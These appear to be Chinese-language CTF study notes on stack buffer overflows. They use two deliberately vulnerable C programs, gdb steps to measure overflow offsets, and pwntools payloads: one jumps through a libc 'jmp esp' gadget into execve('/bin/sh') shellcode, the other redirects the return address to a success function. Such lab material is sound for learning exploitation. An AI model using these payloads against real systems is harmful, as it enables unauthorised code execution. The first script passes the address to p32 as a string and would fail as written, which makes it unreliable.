根据ctfwiki的顺序来复习
例一:test
#include <stdio.h>
#include <string.h>
void SayHello(char* name)
{
char tmpName[60];
// buffer overflow
strcpy(tmpName, name);
printf("Hello %s\n", tmpName);
}
int main(int argc, char** argv)
{
if (argc != 2) {
printf("Usage: hello <name>.\n");
return 1;
}
SayHello(argv[1]);
return 0;
}
g++ 1.cpp -g -o testlinux -zexecstack -fno-stack-protector编译成可执行文件,关闭了各种保护
gdb调试,先在main函数处下断,然后run (r`python -c 'print "a"*100'`),将python的输出作为参数传递给程序运行起来
然后ni 到call sayhello ,进入函数之后先记录一下esp,因为这是函数的返回地址(esp 0xffffd1dc)
然后一直ni,知道执行完strcpy。
然后x/40xw $esp 查看栈中情况,或者x/40xw tmpName 可看出0xffffd1dc的地方已被我输入的a覆盖,
所以计算一下需要覆盖的长度0xffffd1dc-0xffffd194=72.
我们可以执行的shellcode的长度为72,我们就用execve("/bin/sh",null,null)
寻找可用gadget 这里需要esp跳转到shellcode处,
我在libc找一个jmp esp,命令是 asmsearch "jmp esp" libc
0xf7f3ed0f : (ffe4) jmp esp 找到跳板
所以构造payload
payload=72个a|jumesp|shellcode
脚本为
from pwn import *
shellcode="\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x68\x90\x90\x90\x68\x5b\xc1\xeb\x10\xc1\xeb\x08\x53\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80\xb0\x01\xb3\x01\xcd\x80"
input="a"*72
jmpesp="0xf7f3ed0f"
re=input+p32(jmpesp)+shellcode
print re
将此脚本的输出作为参数传入
r`python linuxtest.py`
例二:test
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
要让程序执行success函数,就得覆盖vulnerable函数的返回地址为success的函数地址
gdb调试,查看success函数的地址
disas success可查看success函数的地址为0x08048404
计算我们输入的字符串到ebp的距离
pattern create 150然后run,
然后pattern offset $ebp,可算出与ebp距离20
payload = 'a'*24+p32(success地址)